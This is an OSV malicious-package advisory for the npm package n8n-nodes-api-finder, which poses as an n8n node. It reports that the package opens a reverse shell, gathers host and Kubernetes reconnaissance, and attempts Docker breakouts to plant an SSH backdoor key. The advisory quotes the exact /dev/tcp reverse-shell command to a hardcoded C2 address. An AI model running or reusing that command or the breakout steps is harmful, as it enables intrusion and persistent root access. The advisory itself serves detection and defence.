MAL-2026-10774

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/n8n-nodes-api-finder/MAL-2026-10774.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-10774
Published
2026-07-17T12:16:35Z
Modified
2026-07-23T07:51:58.166240723Z
Summary
Malicious code in n8n-nodes-api-finder (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (9bf8daf2e1d5bbbd97f3f8e6a31787ac5cd44c7d7f52c0228210bc0a8a7ed89c)

Package advertises itself as an n8n community node (package.json declares an n8n node MyNode.js, a benign 'API Finder' shim), but package.json main points to index.js, which runs a malicious payload on require/load. index.js opens a bash reverse shell to hardcoded C2 103.27.109.184:8895 via cp.spawn('/bin/bash', ['-c', 'exec 3<>/dev/tcp/103.27.109.184/8895; bash -i <&3 >&3 2>&3']). It also collects host reconnaissance (hostname, id, hostname -I, docker ps, kubelet/kube config reads, environment variables) and ships it over raw TCP to 103.27.109.184:8890 and:8891. It attempts two Docker breakouts (bind-mount of / into an alpine container, and a privileged --pid=host nsenter) to append a hardcoded ed25519 public key labelled 'n8n-backdoor' to /root/.ssh/authorized_keys on the underlying host and chmod 600 the file, establishing persistent attacker root SSH access. It further docker-execs into a hardcoded Evolution API container to log in with admin credentials and reads /etc/kubernetes/kubelet.conf and /root/.kube/config from the host via bind-mount, forwarding results to the same C2. Two identical copies of the payload are shipped (index.js and package/index.js).

Source: ossf-package-analysis (2a12be5825677f0fa5f08f1fc7866257d0b73612c6358c83c058501762532a44)

The OpenSSF Package Analysis project identified 'n8n-nodes-api-finder' @ 1.0.0 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.
Database specific 
{
    "malicious-packages-origins": [
        {
            "modified_time": "2026-07-17T12:16:35Z",
            "versions": [
                "1.0.0"
            ],
            "import_time": "2026-07-18T07:10:20.589055769Z",
            "source": "ossf-package-analysis",
            "sha256": "2a12be5825677f0fa5f08f1fc7866257d0b73612c6358c83c058501762532a44"
        },
        {
            "modified_time": "2026-07-22T20:28:11Z",
            "id": "IN-MAL-2026-010804",
            "import_time": "2026-07-22T20:31:08.03939108Z",
            "versions": [
                "1.0.2"
            ],
            "source": "amazon-inspector",
            "sha256": "9bf8daf2e1d5bbbd97f3f8e6a31787ac5cd44c7d7f52c0228210bc0a8a7ed89c"
        },
        {
            "modified_time": "2026-07-22T20:37:06Z",
            "id": "IN-MAL-2026-010832",
            "import_time": "2026-07-22T20:59:14.308361978Z",
            "versions": [
                "1.0.1"
            ],
            "source": "amazon-inspector",
            "sha256": "37c63c31d4d7822e51eea84df622f8615bbe9e98204c4b10ac86db24870df4a7"
        },
        {
            "modified_time": "2026-07-22T20:38:42Z",
            "id": "IN-MAL-2026-010844",
            "import_time": "2026-07-22T20:59:15.766181815Z",
            "versions": [
                "1.0.0"
            ],
            "source": "amazon-inspector",
            "sha256": "c4ee6a693281ce3bd9d134cf5c680e570a61f380589b96cec483c1094d770a22"
        }
    ]
}
References
Credits

Affected packages

npm / n8n-nodes-api-finder

Package

Name
n8n-nodes-api-finder
View open source insights on deps.dev
Purl
pkg:npm/n8n-nodes-api-finder

Affected ranges

Affected versions

1.*
1.0.0
1.0.1
1.0.2

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
indicators 
{
    "package_integrity": [
        {
            "filename": "n8n-nodes-api-finder-1.0.2.tgz",
            "hashes": {
                "sha512_sri": "sha512-WypoxmrJXKdRbd6zIXlH4PpP0Bwdvs4M9G1rfHa4h8sD25FzVgCLp2ieoN927uZp0dmBDSNlUHo4p9zo/1RWAg==",
                "sha1": "a535bd89a0e68b838bd933d3f332bfc078ff7992"
            }
        }
    ],
    "evidence_files": [
        {
            "path": "index.js",
            "tlsh": "96511edabeb85620b539b0dc26db34063987c10a0682fa949067cb217e8e7cd86395e5",
            "sha256": "e8d6fa7ec31ff9fca1502d4104bfa869f0563088ac44641abb638ae7f0d09b98"
        },
        {
            "path": "package.json",
            "tlsh": "26d023150e32da3310c49d5119678615366d0cb69484f909a7471415439d6b715fe71c",
            "sha256": "431ceca93a98de94f963a484bcb2ef2394d46b672183770fe7c40b2a73a67739"
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/n8n-nodes-api-finder/MAL-2026-10774.json"